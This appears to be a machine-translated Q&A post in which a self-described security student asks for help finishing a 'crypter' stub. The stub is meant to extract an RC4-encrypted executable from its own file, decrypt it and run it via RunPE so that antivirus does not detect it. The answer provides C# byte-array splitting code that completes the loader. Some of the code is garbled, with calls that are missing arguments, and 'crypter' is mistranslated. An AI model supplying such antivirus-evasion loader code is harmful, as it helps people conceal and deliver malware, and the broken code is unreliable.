我有一个问题,这里的其他问题对我没什么帮助.
我是一名安全学生,我正在为一个项目写一个神甫.对于那些不知道它是什么的人,你可以在这里阅读.
http://www.gamekiller.net/tutorials-guides/17187-tut-making-crypter-vb6-using-rc4.html
无论如何,一个快速的解释,加密器是通过加密程序然后在前面粘贴“存根”(一个解密它的程序)来绕过防病毒的程序.我分割文件时遇到了一个非常烦人的问题.
最大的烦恼是我必须将加密的可执行文件放入一个字节数组中,因为字符串会杀死我的加密可执行文件中的某些字符,使其无法执行.更糟糕的是,我仍然必须“拆分”exe,这就是麻烦开始的地方.
存根的基本思想是:
>获取当前的exe路径
>通过File.ReadAllytes读取所有字节
>在分隔符“EVILDELIMITER”拆分文件
>获取最后一个字段(因为那是加密的EXE)
>使用RC4解密它
>使用RunPE运行.
我有一切工作,除了分裂部分,这是最烦人的.如何在分隔符处拆分字节数组?有更简单的方法吗?
这是我到目前为止存根的代码.
public void main() { string outpath = RandomString(8) + ".exe"; byte[] key = { 33,44,55,66,77 }; string apppath = Assembly.GetEntryAssembly(); byte[] exe = File.ReadAllBytes(apppath); string strseperate = "EVILSEPERATOREVIL"; System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding(); byte[] seperator = encoding.GetBytes(strseperate); //Split code should go here exe = Decrypt(key,encrypted); Process.Start(outpath); }
谢谢你的帮助.
解决方法
byte[] SeparateAndGetLast(byte[] source,byte[] separator) { for (var i = 0; i < source.Length; ++i) { if(Equals(source,separator,i)) { var index = i + separator.Length; var part = new byte[source.Length - index]; Array.Copy(source,index,part,part.Length); return part; } } throw new Exception("not found"); } public static byte[][] Separate(byte[] source,byte[] separator) { var Parts = new List<byte[]>(); var Index = 0; byte[] Part; for (var I = 0; I < source.Length; ++I) { if (Equals(source,I)) { Part = new byte[I - Index]; Array.Copy(source,Index,Part,Part.Length); Parts.Add(Part); Index = I + separator.Length; I += separator.Length - 1; } } Part = new byte[source.Length - Index]; Array.Copy(source,Part.Length); Parts.Add(Part); return Parts.ToArray(); } bool Equals(byte[] source,byte[] separator,int index) { for (int i = 0; i < separator.Length; ++i) if (index + i >= source.Length || source[index + i] != separator[i]) return false; return true; }